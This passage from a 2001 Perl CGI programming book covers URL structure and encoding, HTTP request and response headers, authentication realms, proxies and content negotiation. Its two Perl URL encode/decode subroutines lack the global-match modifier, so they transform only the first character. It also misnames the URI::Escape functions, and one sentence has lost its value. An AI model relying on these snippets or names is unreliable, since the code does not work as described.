http://localhost/cgi/browse_docs.cgi/docs/product/description.text

Here the path /docs/product/description.text is passed to the script. We explain how to access and use this additional path information in more detail in the next chapter.

Query string

A query string passes additional parameters to scripts. It is sometimes referred to as a search string or an index. It may contain name and value pairs, in which each pair is separated from the next pair by an ampersand (&), and the name and value are separated from each other by an equals sign (=). We discuss how to parse and use this information in your scripts in the next chapter.

Query strings can also include data that is not formatted as name-value pairs. If a query string does not contain an equals sign, it is often referred to as an index. Each argument should be separated from the next by an encoded space (encoded either as + or %20; see Section 2.1.3, "URL Encoding" below). CGI scripts handle indexes a little differently, as we will see in the next chapter.

Fragment identifier

Fragment identifiers refer to a specific section in a resource. Fragment identifiers are not sent to web servers, so you cannot access this component of the URLs in your CGI scripts. Instead, the browser fetches a resource and then applies the fragment identifier to locate the appropriate section in the resource. For HTML documents, fragment identifiers refer to anchor tags within the document:

<a name="anchor" >Here is the content you're after...</a>

The following URL would request the full document and then scroll to the section marked by the anchor tag:

http://localhost/document.html#anchor

Web browsers generally jump to the bottom of the document if no anchor for the fragment identifier is found.

2.1.2. Absolute and Relative URLs

Many of the elements within a URL are optional. You may omit the scheme, host, and port number in a URL if the URL is used in a context where these elements can be assumed. For example, if you include a URL in a link on an HTML page and leave out these elements, the browser will assume the link applies to a resource on the same machine as the link. There are two classes of URLs:

Absolute URL

URLs that include the hostname are called absolute URLs. An example of an absolute URL is http://localhost/cgi/script.cgi.

Relative URL

URLs without a scheme, host, or port are called relative URLs. These can be further broken down into full and relative paths:

Full paths

Relative URLs with an absolute path are sometimes referred to as full paths (even though they can also include a query string and fragment identifier). Full paths can be distinguished from URLs with relative paths because they always start with a forward slash. Note that in all these cases, the paths are virtual paths, and do not necessarily correspond to a path on the web server's filesystem. An example of an absolute path is /index.html.

Relative paths

Relative URLs that begin with a character other than a forward slash are relative paths. Examples of relative paths include script.cgi and ../images/photo.jpg.

2.1.3. URL Encoding

Many characters must be encoded within a URL for a variety of reasons. For example, certain characters such as ?, #, and / have special meaning within URLs and will be misinterpreted unless encoded. It is possible to name a file doc#2.html on some systems, but the URL http://localhost/doc#2.html would not point to this document. It points to the fragment 2.html in a (possibly nonexistent) file named doc. We must encode the # character so the web browser and server recognize that it is part of the resource name instead.

Characters are encoded by representing them with a percent sign (%) followed by the two-digit hexadecimal value for that character based upon the ISO Latin 1 character set or ASCII character set (these character sets are the same for the first eight bits). For example, the # symbol has a hexadecimal value of 0x23, so it is encoded as %23.

The following characters must be encoded:

  • Control characters: ASCII 0x00 through 0x1F plus 0x7F

  • Eight-bit characters: ASCII 0x80 through 0xFF

  • Characters given special importance within URLs: ; / ? : @ & = + $ ,

  • Characters often used to delimit (quote) URLs: < > # % "

  • Characters considered unsafe because they may have special meaning for other protocols used to transmit URLs (e.g., SMTP): { } | \ ^ [ ] `

Additionally, spaces should be encoded as + although %20 is also allowed. As you can see, most characters must be encoded; the list of allowed characters is actually much shorter:

  • Letters: a-z and A-Z

  • Digits: 0-9

  • The following characters: - _ . ! ~ * ' ( )

It is actually permissible and not uncommon for any of the allowed characters to also be encoded by some software. Thus, any application that decodes a URL must decode every occurrence of a percentage sign followed by any two hexadecimal digits.

The following code encodes text for URLs:

sub url_encode {
    my $text = shift;
    $text =~ s/([^a-z0-9_.!~*'(  ) -])/sprintf "%%%02X", ord($1)/ei;
    $text =~ tr/ /+/;
    return $text;
}

Any character not in the allowed set is replaced by a percentage sign and its two-digit hexadecimal equivalent. The three percentage signs are necessary because percentage signs indicate format codes for sprintf, and literal percentage signs must be indicated by two percentage signs. Our format code thus includes a percentage sign, %%, plus the format code for two hexadecimal digits, %02X.

Code to decode URL encoded text looks like this:

sub url_decode {
    my $text = shift;
    $text =~ tr/\+/ /;
    $text =~ s/%([a-f0-9][a-f0-9])/chr( hex( $1 ) )/ei;
    return $text;
}

Here we first translate any plus signs to spaces. Then we scan for a percentage sign followed by two hexadecimal digits and use Perl's chr function to convert the hexadecimal value into a character.

Neither the encoding nor the decoding operations can be safely repeated on the same text. Text encoded twice differs from text encoded once because the percentage signs introduced in the first step would themselves be encoded in the second. Likewise, you cannot encode or decode entire URLs. If you were to decode a URL, you could no longer reliably parse it, for you may have introduced characters that would be misinterpreted such as / or ?. You should always parse a URL to get the components you want before decoding them; likewise, encode components before building them into a full URL.

Note that it's good to understand how a wheel works but reinventing it would be pointless. Even though you have just seen how to encode and decode text for URLs, you shouldn't do so yourself. The URI::URL module (actually it is a collection of modules), available on CPAN (see Appendix B, "Perl Modules"), provides many URL-related modules and functions. One of the included modules, URI::Escape, provides the url_escape and url_unescape functions. Use them. The subroutines in these modules have been vigorously tested, and future versions will reflect any changes to HTTP as it evolves.[2] Using standard subroutines will also make your code much clearer to those who may have to maintain your code later (this includes you).

[2]Don't think this could happen? What if we told you the tilde character (~) was not always allowed in URLs? This restriction was removed after it became common practice for some web servers to accept a tilde plus username in the path to indicate a user's personal web directory.

If, despite these warnings, you still insist on writing your own decoding code yourself, at least place it in appropriately named subroutines. Granted, some of these actions take only a line or two of code, but the code is quite cryptic, and these operations should be clearly labeled.

Previous | Home | Next
1.4. Web Server Configuration | Book Index | 2.2. HTTP
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


HTTP (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

2.2. HTTP

Now that we have a clearer understanding of URLs, let's return to the main focus of this chapter: HTTP, the protocol that clients and servers use to communicate on the Web.

The Secure Sockets Layer

HTTP is not a secure protocol, and many networking protocols (like ethernet) allow the conversation between two computers to be overheard by other computers on the same area of the network. The result is that it is very possible for a third party to eavesdrop on HTTP transactions and record authentication information, credit card numbers, and other important data.

Thus, Netscape developed the SSL (Secure Sockets Layer) protocol, which provides a secure communications channel that HTTP can operate across, while also providing security against eavesdropping and other privacy attacks. SSL has developed into an IETF standard and is now formally referred to as the TLS (Transport Layer Security) protocol (TLS 1.0 is essentially SSL 3.1). Not all browsers support TLS yet.

When your browser requests a URL that begins with https, it creates an SSL/TLS connection to the remote server and performs its HTTP transaction across this secure connection. Fortunately, you don't need to understand the details of how this works to write scripts, because the web server transparently manages it for you. Standard CGI scripts will work the same in a secure environment as in a standard one. When your CGI script receives a secure SSL/TLS connection, however, you are given additional information about the client and the connection, as we will see in the next chapter.

2.2.1. The Request and Response Cycle

When a web browser requests a web page, it sends a request message to a web server. The message always includes a header, and sometimes it also includes a body. The web server in turn replies with a reply message. This message also always includes a header and it usually contains a body.

There are two features that are important in understanding HTTP:

  • It is a request/response protocol: each response is preceded by a request.

  • Although requests and responses each contain different information, the header/body structure is the same for both messages. The header contains meta-information -- information about the message -- and the body contains the content of the message.

Figure 2-2 shows an example of an HTTP transaction. Say you told your browser you wanted a document at http://localhost/index.html. The browser would connect to the machine at localhost on port 80 and send it the following message:

GET /index.html HTTP/1.1
Host: localhost
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/xbm, */*
Accept-Language: en
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 4.5; Mac_PowerPC)

Figure 2-2. The HTTP request/response cycle

Assuming that a web server is running and the path maps to a valid document, the server would reply with the following message:

HTTP/1.1 200 OK
Date: Sat, 18 Mar 2000 20:35:35 GMT
Server: Apache/1.3.9 (Unix)
Last-Modified: Wed, 20 May 1998 14:59:42 GMT
ETag: "74916-656-3562efde"
Content-Length: 141
Content-Type: text/html

<HTML>
<HEAD><TITLE>Sample Document</TITLE></HEAD>
<BODY>
  <H1>Sample Document</H1>
  <P>This is a sample HTML document!</P>
</BODY>
</HTML>

In this example, the request includes a header but no content. The response includes both a header and HTML content, separated by a blank line (see Figure 2-3).

Figure 2-3. The HTTP header/body message structure

2.2.2. HTTP Headers

If you are familiar with the format of Internet email, this header and body syntax may look familiar to you. Historically, the format of HTTP messages is based upon many of the conventions used by Internet email, as established by MIME (Multipurpose Internet Mail Extensions). Do not be tricked into thinking that HTTP and MIME headers are the same, however. The similarity extends only to certain fields, and many early similarities have changed in later versions of HTTP.

Here are the important things to know about header syntax:

  • The first line of the header has a unique format and special meaning. It is called a request line in requests and a status line in replies.

  • The remainder of the header lines contain name-value pairs. The name and value are separated by a colon and any combination of spaces and/or tabs. These lines are called header fields .

  • Some header fields may have multiple values. This can be represented by having multiple header fields contain the same field name and different values or by including all the values in the header field separated by a comma.

  • Field names are not case-sensitive; e.g., Content-Type is the same as Content-type.

  • Header fields don't have to appear in any special order.

  • Every line in the header must be terminated by a carriage return and line feed sequence, which is often abbreviated as CRLF and represented as \015\012 in Perl on ASCII systems.

  • The header must be separated from the content by a blank line. In other words, the last header line must end with two CRLFs.

2.2.3. HTTP 1.1 and HTTP 1.0

This chapter discusses HTTP 1.1, which includes several improvements to previous versions of HTTP. Although HTTP 1.1 is backward-compatible, there are many new features in HTTP 1.1 not recognized by HTTP 1.0 applications. There are even a few instances where the new protocol can cause problematic behavior with older applications, especially with caching. Most major web servers and browsers are now HTTP 1.1-compliant as this book is being written. There will continue to be HTTP 1.0 applications on the Web for some time, however. Features discussed in this chapter that differ between HTTP 1.1 and HTTP 1.0 will be noted.

Previous | Home | Next
2. The Hypertext Transport Protocol | Book Index | 2.3. Browser Requests
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Browser Requests (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

2.3. Browser Requests

Every HTTP interaction starts with a request from a client, typically a web browser. A user provides a URL to the browser by typing it in, clicking on a hyperlink, or selecting a bookmark, and the browser fetches the corresponding document. To do that, it must create an HTTP request (see Figure 2-4).

Figure 2-4. The structure of HTTP request headers

Recall that in our previous example, a web browser generated the following request when it was asked to fetch the URL http://localhost/index.html :

GET /index.html HTTP/1.1
Host: localhost
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/xbm, */*
Accept-Language: en
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 4.5; Mac_PowerPC)
.
.
.

From our discussion of URLs, you know that the URL can be broken down into multiple elements. The browser creates a network connection by using the hostname and the port number (80 by default). The scheme (http) tells our web browser that it is using the HTTP protocol, so once the connection is established, it sends an HTTP request for the resource. The first line of an HTTP request is the request line, which includes a full virtual path and query string (if present); see Figure 2-5.

Figure 2-5. The request line

2.3.1. The Request Line

The first line of an HTTP request includes the request method, a URL to the resource being requested, and the version string of the protocol. Request methods are case-sensitive and uppercase. There are several request methods defined by HTTP although a web server may not make all of them available for each resource (see Table 2-1). The version string is the name and version of the protocol separated by a slash. HTTP 1.0 and HTTP 1.1 are represented as HTTP/1.0 and HTTP/1.1. Note that https requests also produce one of these two HTTP protocol strings.

Table 2-1. HTTP Request Methods

Method | Description
GET | Asks the server for the given resource
HEAD | Used in the same cases that a GET is used but it only returns HTTP headers and no content
POST | Asks the server to modify information stored on the server
PUT | Asks the server to create or replace a resource on the server
DELETE | Asks the server to delete a resource on the server
CONNECT | Used to allow secure SSL connections to tunnel through HTTP connections
OPTIONS | Asks the server to list the request methods available for the given resource
TRACE | Asks the server to echo back the request headers as it received them

Of the request methods listed in Table 2-1, the three you will encounter most often when writing CGI scripts are GET, HEAD, and POST. However, let's first take a look at why the PUT and DELETE methods are not used with CGI.

2.3.1.1. PUT and DELETE

The Web was originally conceived as a medium where users could both read and write content. However, the Web took off initially as a read-only medium and it is only through Web Distributed Authoring and Versioning (WebDAV) that interest is returning to the ability to write content to the Web. The PUT and DELETE methods tell the server to create, replace, or remove the resource they are directed at. Note that this means that if one of these requests is targeted at a CGI script (assuming the request is valid), the CGI script will be replaced or removed, but not executed. Thus, you do not need to worry about these request methods within your CGI scripts. While it might be possible to remap a PUT or DELETE request directed at a particular URL so that a different CGI script handles it, such a discussion of WebDAV implementation is beyond the scope of this book.

2.3.1.2. GET

GET is the standard request method for retrieving a document via HTTP on the Web. When you click on a hyperlink, type a location into your browser, or click on a bookmark, the browser generally creates a GET request for the URL you requested. GET requests are intended only to retrieve resources and should not have side effects. They should not alter information maintained on the web server; POST is intended for that purpose. GET requests do not have a content body.

In practice, some CGI developers do not understand nor follow the policy that GET requests should not have side effects, even though it is a good idea to do so. Because web browsers assume that GET requests have no side effects, they may be carefree about making multiple requests for the same document. For instance, if the user presses the browser's "back" button to return to a page that was originally requested via GET and is no longer in the browser's cache, the browser may GET a new copy. If the original request was via POST, however, the user would instead receive a message that the document is no longer available in the cache. If the user then decides to reload the request, he or she will generally receive a dialog confirming that they wish to resend the POST request. These features help the user avoid mistakenly sending a request multiple times when the request would modify information stored on the server.

2.3.1.3. HEAD

You may have noticed that we said that your web browser generally creates a GET request to fetch resources you have requested. If your browser has previously retrieved a resource, it may be stored within the browser's cache. In order for the browser to know whether to display the cached copy or whether to request a fresh copy, the browser can send a HEAD request. HEAD requests are formatted exactly like GET requests, and the server responds to it exactly like a GET request with one exception: it sends only the HTTP headers, it doesn't send the content. The browser can then check the meta-information contained in the headers, such as the modification date of the resource, to see if it has changed and whether it should replace the cached version with the newer version. HEAD requests do not have a content body either.

In practice, you can treat HEAD requests the same as GET requests in your CGI scripts, and the web server will truncate the content of your responses and return only headers. For this reason, we will rarely discuss to the HEAD request method in this book. If you are concerned about performance, you may wish to check the request method yourself and conserve resources by not generating content for HEAD requests. We will see how your script can determine the request method in the next chapter.

2.3.1.4. POST

POST is used with HTML forms to submit information that alters data stored on the web server. POST requests always include a body containing the submitted information formatted like a query string. POST requests thus require additional headers specifying the length of the content and its format. These headers are described in the following section.

Although POST requests should only be used to modify data on the server, CGI developers commonly use POST requests for CGI scripts that simply return information, but do not modify data. This practice is more common and less dangerous than the reverse situation -- using GET to modify data on the server. Developers use POST for any number of reasons:

  • Some developers believe that forms submitted via POST offer greater security over those submitted via GET because a user cannot modify the values within the URL in the browser as they can with GET. This reasoning is flawed. Knowledgeable users, as we will see in our security discussion in Chapter 8, "Security", can easily find ways around this.

  • The responses to resources received via POST cannot be bookmarked or hyperlinked (at least without using a bookmarklet; see Chapter 7, "JavaScript"). Although this is generally inconvenient for the user, sometimes this is the preferred behavior.

Note that users may encounter browser warnings about expired pages if they attempt to revisit cached pages obtained via POST.

2.3.2. Request Header Field Lines

The client generally sends several header fields with its request. As mentioned earlier, these consist of a field name, a colon, some combination of spaces or tabs (although one space is most common), and a value (see Figure 2-6). These fields are used to pass additional information about the request or about the client, or to add conditions to the request. We'll discuss the common browser headers here; they are listed in Table 2-2. Those connected with content negotiation and caching are discussed later in this chapter.

Figure 2-6. A header field line

Table 2-2. Common HTTP Request Headers

Header | Description
Host | Specifies the target hostname
Content-Length | Specifies the length (in bytes) of the request content
Content-Type | Specifies the media type of the request
Authentication | Specifies the username and password of the user requesting the resource
User-Agent | Specifies the name, version, and platform of the client
Referer | Specifies the URL that referred the user to the current resource
Cookie | Returns a name/value pair set by the server on a previous response

2.3.2.1. Host

The Host field is new and is required in HTTP 1.1. The client sends the host name of the web server in this field. This may sound redundant, since the host should know its own identity, right? Well, not always. A machine with one IP address may have multiple domain names mapped to it, such as www.oreilly.com and www.ora.com. When a request comes in, it looks at this header to determine what name the client is referring to it as, and thus maps the request to the correct content.

2.3.2.2. Content-Length

POST requests include a content body; in order for the web server to know how much data to read, it must declare the size of the body in bytes in the Content-Length field. There are a couple of circumstances where HTTP 1.1 clients may omit this field, but these cases don't concern us because the web server will still calculate this value for us and provide it to our CGI scripts as though it had been included in the original request. POST requests that contain empty contents supply a value of in this header. Requests that do not have a content body, such as GET and HEAD, omit this field.

2.3.2.3. Content-Type

The Content-Type header must always be provided with requests containing a body. It specifies the media type of the message. The most common value of this data received from an HTML form via POST is application/x-www-form-urlencoded, although another option for form input (used when submitting files) is multipart/form-data . We'll discuss how to specify the media type of requests in our discussion of HTML forms in Chapter 4, "Forms and CGI", and we will look at how to parse multipart requests in Chapter 5, "CGI.pm".

2.3.2.4. Authorization

Web servers can require a login for access to some resources. If you have ever attempted to access a restricted area of a web site and been prompted for a login and password, then you have encountered this form of HTTP authentication (see Figure 2-7).[3] Note that the login prompt includes text identifying what you are logging in to; this is the realm . Resources that share the same login are part of the same realm. For most web servers, you assign resources to a realm by putting them in the same directory and configuring the web server to assign the directory a name for the realm along with authorization requirements. For example, if you wanted to restrict access to URL paths that begin with /protected , then you would add the following to httpd.conf (or access.conf, if you are using it):

[3]The distinction between authentication and authorization is subtle, but important. Authentication is the process of identifying someone. Authorization determines what that person can access.

<Location /protected>
  AuthType Basic
  AuthName "The Secret Files"
  AuthUserFile  /usr/local/apache/conf/secret.users
  require valid-user
</Location>

Figure 2-7. Prompt presented to the user for HTTP authorization

The user file contains usernames and encrypted passwords separated by a colon. You can use the htpasswd utility that comes with Apache to create and update this file; refer to its manpage or the Apache manual for usage. When the browser requests a resource in a restricted realm, the server informs the browser that it requires login information by sending a 401 status code and the name of the realm in the WWW-Authenticate header (we'll discuss this later in the chapter). The browser then prompts the user for a username and password for this realm (if it hasn't done so already) and resends the request with the credentials in an Authorization field. There are multiple types of HTTP authentication, but the only type that is widely supported by browsers and servers is basic authentication.

The Authorization field for basic authentication looks like this:

Authorization: Basic dXNlcjpwYXNzd29yZA==

The encoded portion is simply the username and password joined with a colon and Base64-encoded. This can be easily decoded, so basic authentication provides no security against third parties sniffing usernames and passwords unless the connection is secured via SSL.

The server handles authentication and authorization transparently for you. As we will see in the next chapter, you may access the login name from your CGI scripts but not the password.

2.3.2.5. User-Agent

This field indicates what client the user is using to access the Web. The value is generally comprised of a nickname of the browser, its version number, and the operating system and platform on which it's running. Here is an example from Netscape Communicator:

User-Agent: Mozilla/4.5 (Macintosh; I; PPC)

Unfortunately, Microsoft Internet Explorer made the dubious decision when it released its browser of also claiming to be "Mozilla," which is Netscape's nickname. Apparently this was done because a number of web sites used this field to distinguish Netscape browsers from others in order to take advantage of the additional features Netscape offered at the time. Microsoft made their browser compatible with many of these features and wanted its users to also take advantage of these enhanced web sites. Even now, the "Mozilla" moniker remains for the sake of backward-compatibility. Here is an example from Internet Explorer:

User-Agent: Mozilla/4.0 (compatible; MSIE 4.5; Mac_PowerPC)

2.3.2.6. Accept

The Accept field and related fields that begin with Accept, such as Accept-Language, are sent by the client to tell the server the categories of responses it is capable of understanding. These categories include file formats, languages, character sets, etc. We discuss this process in more detail later in this chapter in Section 2.6, "Content Negotiation".

2.3.2.7. Referer

No, this is not a typo. Unfortunately, the Referer field was misspelled in the original protocol and, due to the need to maintain backward-compatibility, we are stuck with it this way. This field provides the URL of the last page the user visited, which is generally the page that linked the user to the requested page:

Referer: http://localhost/index.html

This field is not always sent to the server; browsers provide this field only when the user generates a request by following a hyperlink, submitting a form, etc. Browsers don't generally provide this field when the user manually enters a URL or selects a bookmark, since these may involve a significant invasion of the user's privacy.

2.3.2.8. Cookies

Web browsers or servers may provide additional headers that are not part of the HTTP standard. The receiving application should ignore any headers it does not recognize. A example of a pair of headers not specified in the HTTP protocol are Set-Cookie and Cookie, which Netscape introduced to support browser cookies. Set-Cookie is sent by the server as part of a response:

Set-Cookie: cart_id=12345; path=/; expires=Sat, 18-Mar-05 19:06:19 GMT

This header contains data for the client to echo back in the Cookie header in future requests to that server:

Cookie: cart_id=12345

By assigning different values to each user, servers (and CGI scripts) can use cookies to differentiate between users. We discuss cookies extensively in Chapter 11, "Maintaining State".

Previous | Home | Next
2.2. HTTP | Book Index | 2.4. Server Responses
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Server Responses (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

2.4. Server Responses

Server responses, like client requests, always contain HTTP headers and an optional body. Here is the server response from our earlier example:

HTTP/1.1 200 OK
Date: Sat, 18 Mar 2000 20:35:35 GMT
Server: Apache/1.3.9 (Unix)
Last-Modified: Wed, 20 May 1998 14:59:42 GMT
ETag: "74916-656-3562efde"
Content-Length: 141
Content-Type: text/html

<HTML>
<HEAD><TITLE>Sample Document</TITLE></HEAD>
<BODY>
  <H1>Sample Document</H1>
  <P>This is a sample HTML document!</P>
</BODY>
</HTML>

The structure of the headers for the response is the same as for requests. The first header line has a special meaning, and is referred to as the status line. The remaining lines are name-value header field lines. See Figure 2-8.

Figure 2-8. The structure of an HTTP response header

2.4.1. The Status Line

The first line of the header is the status line, which includes the protocol and version just as in HTTP requests, except that this information comes at the beginning instead of at the end. This string is followed by a space and the three-digit status code, as well as a text version of the status. See Figure 2-9.

Figure 2-9. The status line

Web servers can send any of dozens of status codes. For example, the server returns a status of 404 Not Found if a document doesn't exist and 301 Moved Permanently if a document is moved. Status codes are grouped into five different classes according to their first digit:

1xx

These status codes were introduced for HTTP 1.1 and used at a low level during HTTP transactions. You won't use 100-series status codes in CGI scripts.

2xx

200-series status codes indicate that all is well with the request.

3xx

300-series status codes generally indicate some form of redirection. The request was valid, but the browser should find the content of its response elsewhere.

4xx

400-series status codes indicate that there was an error and the server is blaming the browser for doing something wrong.

5xx

500-series status codes also indicate there was an error, but in this case the server is admitting that it or a CGI script running on the server is the culprit.

We'll discuss each of the common status codes and how to use them in your CGI scripts in the next chapter.

2.4.2. Server Headers

After the status line, the server sends its HTTP headers. Some of these server headers are the same headers that browsers send with their requests. The common server headers are listed in Table 2-3.

Table 2-3. Common HTTP Server Headers

Header | Description
Content-Base | Specifies the base URL for resolving all relative URLs within the document
Content-Length | Specifies the length (in bytes) of the body
Content-Type | Specifies the media type of the body
Date | Specifies the date and time when the response was sent
ETag | Specifies an entity tag for the requested resource
Last-Modified | Specifies the date and time when the requested resource was last modified
Location | Specifies the new location for the resource
Server | Specifies the name and version of the web server
Set-Cookie | Specifies a name-value pair that the browser should provide with future requests
WWW-Authenticate | Specifies the authorization scheme and realm

2.4.2.1. Content-Base

The Content-Base field contains a URL to use as the base for relative URLs in HTML documents. Using the <BASE HREF=...> tag in the head of the document accomplishes the same thing and is more common.

2.4.2.2. Content-Length

As with request headers, the Content-Length field in response headers contains the length of the body of the response. Browsers use this to detect an interrupted transaction or to tell the user the percentage of the download that is complete.

2.4.2.3. Content-Type

You will use the Content-Type header very often in your CGI scripts. This field is provided with every response containing a body and must be included for all requests accompanied by a status code of 200. The most common value for this response is text/html, which is what is returned with HTML documents. Other examples are text/plain for text documents and application/pdf for Adobe PDF documents.

Because this field originally derived from a similar MIME field, this field is often referred to as the MIME type of the message. However, this term is not accurate because the possible values for this field differs for the Web than for Internet email. The IANA maintains a registry of registered media types for the Web, which may be viewed at http://www.isi.edu/in-notes/iana/assignments/media-types/. Although you could invent your media type values, it is a good idea to stick with these registered ones since web browsers need to know how to handle the associated documents.

2.4.2.4. Date

HTTP 1.1 requires that servers send the Date header with all responses. It specifies the date and time the response is sent. Three different date formats are acceptable in HTTP:

Mon, 06 Aug 1999 19:01:42 GMT
Monday, 06-Aug-99 19:01:42 GMT
Mon Aug  6 19:01:42 1999

The HTTP specification recommends the first option, but all should be supported by HTTP applications. The last is the format generated by Perl's gmtime function.[4]

[4]More specifically, gmtime generates a date string like this when it is called in a scalar context. In list context, it returns a list of date elements instead. If this distinction seems unclear, then you may want to refer to a good Perl book like Programming Perl for the difference between list and scalar context.

2.4.2.5. ETag

The ETag header specifies an entity tag corresponding to the requested resource. Entity tags were added to HTTP 1.1 to address problems with caching. Although HTTP 1.1 does not specify any particular way for a server to generate an entity tag, they are analogous to a message digest or checksum for a file. Clients and proxies can assume that all copies of a resource with the same URL and same entity tag are identical. Thus, generating a HEAD request and checking the ETag header of the response is an effective way for a browser to determine whether a previously cached response needs to be fetched again. Web servers typically do not generate these for CGI scripts, although you can generate your own if you wish to have greater control over how HTTP 1.1 clients cache your responses.

2.4.2.6. Last-Modified

The Last-Modified header returns the date and time that the requested resource was last updated. This was intended to support caching, but it did not always work as well as hoped in HTTP 1.0, so the ETag header now supplements it. The Last-Modified header is restrictive because it implies that HTTP resources are static files, which is obviously not always the case. For example, for CGI scripts the value of this field must reflect the last time the output changed (possibly due to a change in a data source), and not the date and time that the CGI script itself was last updated. Like the ETag header, the web server does not typically generate the Last-Modified header for your CGI scripts, although you can output it yourself if you desire.

2.4.2.7. Location

The Location header is used to inform a client that it should look elsewhere for the requested resource. The value should contain an absolute URL to the new location. This header should be accompanied by a 3xx series status code. Browsers generally fetch the resource from the new location automatically for the user. Responses with a Location field may also contain contents with instructions for the user since very old browsers may not respond to the Location field.

2.4.2.8. Server

The Server header provides the name and version of the application acting as the web server. The web server automatically generates this for standard responses. There are circumstances when you should generate this yourself, which we will see in the next chapter.

2.4.2.9. Set-Cookie

The Set-Cookie header asks the browser to remember a name-value pair and send this data back on subsequent requests to this server. The server can specify how long the browser should remember the cookie and to what hosts or domains the browser should provide it. We'll discuss cookies in detail in our discussion of maintaining state in Chapter 11, "Maintaining State".

2.4.2.10. WWW-Authenticate

As we discussed earlier in Section 2.3.2.4, "Authorization", web servers can restrict certain resources to users who provide a valid username and password. The WWW-Authenticate field is used along with a status code of 401 to indicate that the requested resource requires a such a login. The value of this field should contain the form of authentication and the realm for which the authorization applies. An authorization realm generally maps to a certain directory on the web server, and a username and password pair should apply to all resources within a realm.

Previous | Home | Next
2.3. Browser Requests | Book Index | 2.5. Proxies
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Proxies (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

2.5. Proxies

Quite often, web browsers do not interact directly with web servers; instead they communicate via a proxy. HTTP proxies are often used to reduce network traffic, allow access through firewalls, provide content filtering, etc. Proxies have their own functionality that is defined by the HTTP standard. We don't need to understand these details, but we do need to recognize how they affect the HTTP request and response cycle. You can think of a proxy as a combination of a simplified client and a server (see Figure 2-10). An HTTP client connects to a proxy with a request; in this way, it acts like a server. The proxy forwards the request to a web server and retrieves the appropriate response; in this way, it acts like a client. Finally, it fulfills its server role by returning the response to the client.

Figure 2-10 shows how an HTTP proxy affects the request and response cycle. Note that although there is only one proxy represented here, it's quite possible for a single HTTP transaction to pass through many proxies.

Proxies affect us in two ways. First, they make it impossible for web servers to reliably identify the browser. Second, proxies often cache content. When a client makes a request, proxies may return a previously cached response without contacting the target web server.

Figure 2-10. HTTP proxies and the request/response cycle

2.5.1. Identifying Clients

Basic HTTP requests do not contain any information that identifies the client. In a simple network transaction, this is generally not an issue, because a server knows which client is talking to it. We can see this by analogy. If someone walks up to you and hands you a note, you know who delivered the note regardless of what the note says. It's apparent from the context.

The problem is determining who wrote the note. If the note isn't signed, you may not know whether the person handing you the note wrote the note or is simply delivering it. The same is true in HTTP transactions. Web servers know which system is requesting information from them, but they don't know whether this client is a web browser that originated the request (i.e., the author of the note) or if they are just a proxy (i.e., the messenger). This is not a shortcoming of proxies, because this anonymity is actually a feature of proxies integrated into firewalls. Organizations with firewalls typically prefer that the outside world not know the addresses of systems behind their firewall.

Thus, unless the browser passes identifying information in its request to the server, there is no way to differentiate among different users on different systems since they could be connecting via the same proxy. We'll explore how to tackle this issue in Chapter 11, "Maintaining State".

2.5.2. Caching

One of the benefits of proxies is that they make HTTP transactions more efficient by sharing some of the work the web server typically does. Proxies accomplish this by caching requests and responses. When a proxy receives a request, it checks its cache for a similar, previous request. If it finds this, and if the response is not stale (out of date), then it returns this cached response to the client. The proxy determines whether a response is stale by looking at HTTP headers of the cached response, by sending a HEAD request to the target web server to retrieve new headers to compare against, and via its own algorithms. Regardless of how it determines this, if the proxy does not need to fetch a new, full response from the target web server, the proxy reduces the load on the server and reduces network traffic between the server and itself. This can also make the transaction much faster for the user.

Because most resources on the Internet are static HTML pages and images that do not often change, caching is very helpful. For dynamic content, however, caching can cause problems. CGI scripts allow us to generate dynamic content; a request to one CGI script can generate a variety of responses. Imagine a simple CGI script that returns the current time. The request for this CGI script looks the same each time it is called, but the response should be different each time. If a proxy caches the response from this CGI script and returns it for future requests, the user would get an old copy of the page with the wrong time.

Fortunately, there are ways to indicate that the response from a web server should not be cached. We'll explore this in the next chapter. HTTP 1.1 also added specific guidelines for proxies that solved a number of problems with earlier proxies. Most current proxies, even if they do not fully implement HTTP 1.1, have adopted these guidelines.

Caching is not unique to proxies. You probably know that browsers do their own caching too. Some web pages have instructions telling users to clear their web browser's cache if they are having problems receiving up-to-date information. Proxies present a challenge because users cannot clear the cache of intermediate proxies (they often may not even know they are using a proxy) as they can for their browser.

Previous | Home | Next
2.4. Server Responses | Book Index | 2.6. Content Negotiation
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Content Negotiation (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

2.6. Content Negotiation

People from all over the world access the same Internet, using many different languages, many different character sets, and many different browsers. One representation of a document is not going to satisfy the requirements of all these people. This is why HTTP provides something called content negotiation, which allows clients and servers to negotiate the best possible format for each given resource.

For example, say you want to make a document available in multiple languages. You could store each translation of this document separately so that they each have a unique URL. This would be a bad idea for a number of reasons, but most importantly because you would have to advertise multiple URLs for the same resource. URLs have been designed to be easily exchanged offline as well as via hyperlinks, and there is no reason why people who speak different languages should not be able to share the same URL. By utilizing content negotiation, you can offer the appropriate translation of a requested document automatically.

There are four primary forms of content negotiation: language, character set, media type, and encoding. Each have their own corresponding headers, but the negotiation process works the same way for all of them. Negotiation can be performed by the server or by the client. In server-side negotiation, the client sends a header indicating the forms of content it accepts, and the server responds by selecting one of these options and returning the resource in the appropriate format. In client-side negotiation, the client requests a resource without special headers, the server sends a list of the available contents to the client, the client then makes an additional request to specify the format of the resource desired, and the server then returns the resource in that format. Clearly there is more overhead in client-side negotiation (although caching helps), but the client is generally better than the server at choosing the most appropriate format.

2.6.1. Media Type

Clients may include a header with their HTTP request indicating a list of preferred formats. The header for media type looks like this:

Accept: text/html;q=1, text/plain;q=0.8,
        image/jpeg, image/gif, */*;q=0.001

